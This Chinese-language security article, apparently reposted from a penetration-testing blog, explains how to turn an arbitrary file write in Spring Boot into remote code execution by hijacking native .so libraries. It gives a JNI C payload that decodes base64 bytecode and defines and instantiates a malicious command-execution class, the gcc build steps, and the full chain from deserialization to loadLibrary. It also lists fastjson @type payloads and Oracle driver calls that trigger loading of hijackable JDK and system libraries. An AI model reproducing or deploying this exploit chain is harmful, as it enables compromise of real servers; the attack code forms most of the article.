springboot环境下的写文件RCE——so劫持篇

admin 2026-03-04 11:09:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍SpringBoot环境下利用写文件劫持so实现RCE。核心在于利用System.loadLibrary加载未占用的JDK库,或通过JNI编写恶意so重写native方法注入恶意类,避开进程崩溃。同时探讨了第三方组件利用及未知路径下劫持系统库的技巧,提供了详细的攻击链与代码实现,具备高实战价值。 综合评分: 92 文章分类: 渗透测试,实战经验,漏洞分析,WEB安全


新建类JPEGImageDecoder.java

package sun.awt.image;
public class JPEGImageDecoder {
   public JPEGImageDecoder() throws Exception {   }
&nbsp; &nbsp;private&nbsp;static&nbsp;native&nbsp;void&nbsp;initIDs(Class<?> clazz);
&nbsp; &nbsp;static&nbsp;{&nbsp; &nbsp; &nbsp; System.loadLibrary("javajpeg");&nbsp; &nbsp; &nbsp; initIDs(null);&nbsp; &nbsp;}}

在linux下编译并转成成.h文件

javac -h . JPEGImageDecoder.java

内容大致如下。

/* DO NOT EDIT THIS FILE - it is machine generated */#include&nbsp;<jni.h>/* Header for class sun_awt_image_JPEGImageDecoder */#ifndef&nbsp;_Included_sun_awt_image_JPEGImageDecoder#define&nbsp;_Included_sun_awt_image_JPEGImageDecoder#ifdef&nbsp;__cplusplusextern&nbsp;"C"&nbsp;{#endif/*&nbsp;* Class: &nbsp; &nbsp; sun_awt_image_JPEGImageDecoder&nbsp;* Method: &nbsp; &nbsp;initIDs&nbsp;* Signature: (Ljava/lang/Class;)V&nbsp;*/JNIEXPORT&nbsp;void&nbsp;JNICALL&nbsp;Java_sun_awt_image_JPEGImageDecoder_initIDs&nbsp;&nbsp;(JNIEnv *, jclass, jclass);#ifdef&nbsp;__cplusplus}#endif#endif

写JPEGImageDecoder.c,重构initIDs,chatGPT完成。

#include&nbsp;"sun_awt_image_JPEGImageDecoder.h"#include&nbsp;<jni.h>#include&nbsp;<stdio.h>#include&nbsp;<stdlib.h>#include&nbsp;<string.h>
JNIEXPORT&nbsp;void&nbsp;JNICALL&nbsp;Java_sun_awt_image_JPEGImageDecoder_initIDs&nbsp;&nbsp;(JNIEnv *env, jclass clazz, jclass clazz2)&nbsp;{&nbsp; &nbsp;&nbsp;// Base64 解码的字节码&nbsp; &nbsp;&nbsp;const&nbsp;char* base64Code =&nbsp;"yv66xxxx";&nbsp; &nbsp;&nbsp;// 获取 Base64 解码器的类和 decode 方法&nbsp; &nbsp; jclass base64Class = (*env)->FindClass(env,&nbsp;"java/util/Base64");&nbsp; &nbsp; jmethodID getDecoderMethod = (*env)->GetStaticMethodID(env, base64Class,&nbsp;"getDecoder",&nbsp;"()Ljava/util/Base64$Decoder;");&nbsp; &nbsp; jobject decoder = (*env)->CallStaticObjectMethod(env, base64Class, getDecoderMethod);&nbsp; &nbsp; jclass decoderClass = (*env)->FindClass(env,&nbsp;"java/util/Base64$Decoder");&nbsp; &nbsp; jmethodID decodeMethod = (*env)->GetMethodID(env, decoderClass,&nbsp;"decode",&nbsp;"(Ljava/lang/String;)[B");&nbsp; &nbsp;&nbsp;// 将 Base64 字符串转换为 Java 字符串&nbsp; &nbsp; jstring base64String = (*env)->NewStringUTF(env, base64Code);&nbsp; &nbsp;&nbsp;// 调用 decode 方法进行解码&nbsp; &nbsp; jbyteArray bytecode = (jbyteArray)(*env)->CallObjectMethod(env, decoder, decodeMethod, base64String);&nbsp; &nbsp;&nbsp;// 获取 ClassLoader 并找到 defineClass 方法&nbsp; &nbsp; jclass classLoaderClass = (*env)->FindClass(env,&nbsp;"java/lang/ClassLoader");&nbsp; &nbsp; jmethodID getSystemClassLoaderMethod = (*env)->GetStaticMethodID(env, classLoaderClass,&nbsp;"getSystemClassLoader",&nbsp;"()Ljava/lang/ClassLoader;");&nbsp; &nbsp; jobject systemClassLoader = (*env)->CallStaticObjectMethod(env, classLoaderClass, getSystemClassLoaderMethod);&nbsp; &nbsp;&nbsp;// 获取 defineClass 方法&nbsp; &nbsp; jmethodID defineClassMethod = (*env)->GetMethodID(env, classLoaderClass,&nbsp;"defineClass",&nbsp;"(Ljava/lang/String;[BII)Ljava/lang/Class;");&nbsp; &nbsp;&nbsp;// 定义类名&nbsp; &nbsp; jstring className = (*env)->NewStringUTF(env,&nbsp;"Tomcat678910cmdechoException");&nbsp; &nbsp;&nbsp;// 获取字节码的长度&nbsp; &nbsp; jint bytecodeLength = (*env)->GetArrayLength(env, bytecode);&nbsp; &nbsp;&nbsp;// 调用 defineClass 方法定义类&nbsp; &nbsp; jobject definedClass = (*env)->CallObjectMethod(env, systemClassLoader, defineClassMethod, className, bytecode,&nbsp;0, bytecodeLength);&nbsp; &nbsp;&nbsp;// 调用 newInstance 来创建类实例&nbsp; &nbsp; jclass definedClassRef = (*env)->GetObjectClass(env, definedClass);&nbsp; &nbsp; jmethodID newInstanceMethod = (*env)->GetMethodID(env, definedClassRef,&nbsp;"newInstance",&nbsp;"()Ljava/lang/Object;");&nbsp; &nbsp; (*env)->CallObjectMethod(env, definedClass, newInstanceMethod);}

将jni.h和jni_md.h依赖拖到一起,gcc编译。

gcc -shared -fpic -I./ -o libjavajpeg.so JPEGImageDecoder.c

实际利用效果如下。

第一步,用反序列化链写入/usr/local/openjdk-11/lib/libjavajpeg.so

第二步,Class.ForName(JPEGImageDecoder)

JPEGImageDecoder#static{}->System.loadLibrary()->JPEGImageDecoder#initIDs()->libjavajpeg.so#Java_sun_awt_image_JPEGImageDecoder_initIDs->Tomcat678910cmdechoException#static{}->触发一次命令执行->Tomcat678910cmdechoException.class.newInstance()->触发第二次命令执行

这样就能在全程不影响springboot的情况下完成恶意类加载。

更加通用的办法是用__attribute__((constructor)),这样就无所谓initIDs了。但这样没有jvm对象无法加载恶意类,su18在自己的星球中给出了一个获取jvm对象的办法。

3,第三方JNI

Oracle

第三方也有可能触发System.loadLibrary(),在ojdbc中存在oracle.jdbc.xa.client.OracleXADataSource#getXAConnection(),可以触发两种loadLibrary。

&nbsp; &nbsp; &nbsp;OracleXADataSource&nbsp;ds&nbsp;=&nbsp;new&nbsp;OracleXADataSource();&nbsp; &nbsp; &nbsp;ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl");&nbsp; &nbsp; &nbsp;ds.setNativeXA(true);&nbsp; &nbsp; &nbsp;ds.getXAConnection();

会触发heteroxa21,21为ojdbc的大版本号,比如我这里用的是ojdbc8-21.4.0.0.1.jar,就会loadLibrary(“heteroxa21”)

另外一种是ocijdbc21

&nbsp; &nbsp; &nbsp;OracleXADataSource&nbsp;ds&nbsp;=&nbsp;new&nbsp;OracleXADataSource();&nbsp; &nbsp; &nbsp;ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl");&nbsp; &nbsp; &nbsp;//ds.setNativeXA(true);&nbsp; &nbsp; &nbsp;ds.getXAConnection();

4,linux so

在fastjson写文件挑战2中,我将jdk的路径随机化了且去掉了io,本意是想增加题目难度,不让挑战者利用System.loadLibrary劫持jdk so。但jcw使用了一个非常漂亮的jdk11_read链读到了jdk路径,突破了这层防御。

如果真的未知jdk路径,还能劫持哪些so呢?

77给出了一个答案,我们最常用的fastjson dns链。

{"@type":&nbsp;"java.net.Inet4Address",&nbsp;"val":&nbsp;"x.com"}

会加载

/lib/x86_64-linux-gnu/libnss_dns.so.2

/lib/x86_64-linux-gnu/libresolv.so.2

当然,dns实战中很有可能已经被提前触发。

su18也给出了一个答案,fastjson内置几个awt白名单

其中java.awt.Font可以触发以下so加载。

{"@type":&nbsp;"java.awt.Font","name":&nbsp;"Serif","style":&nbsp;1,"size":&nbsp;24}

/usr/lib/x86_64-linux-gnu/libpng16.so.16

/usr/lib/x86_64-linux-gnu/libfreetype.so.6

/usr/local/openjdk-11/lib/libawt.so

/usr/local/openjdk-11/lib/libawt_headless.so

/usr/local/openjdk-11/lib/libfontmanager.so

{"@type":"java.awt.Rectangle"}

/usr/local/openjdk-11/lib/libawt.so

/usr/local/openjdk-11/lib/libawt_headless.so

{"@type":"java.awt.Color"}

/usr/local/openjdk-11/lib/libawt.so

/usr/local/openjdk-11/lib/libawt_headless.so

/usr/local/openjdk-11/lib/liblcms.so

发挥你的想象力,还有可能存在很多jdk/linux的so以供劫持。

对应的,还有触发加载so的方法,这些方法具体有哪些呢?请期待so加载篇。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈 珂字辈《springboot环境下的写文件RCE——so劫持篇》

评论:0   参与:  0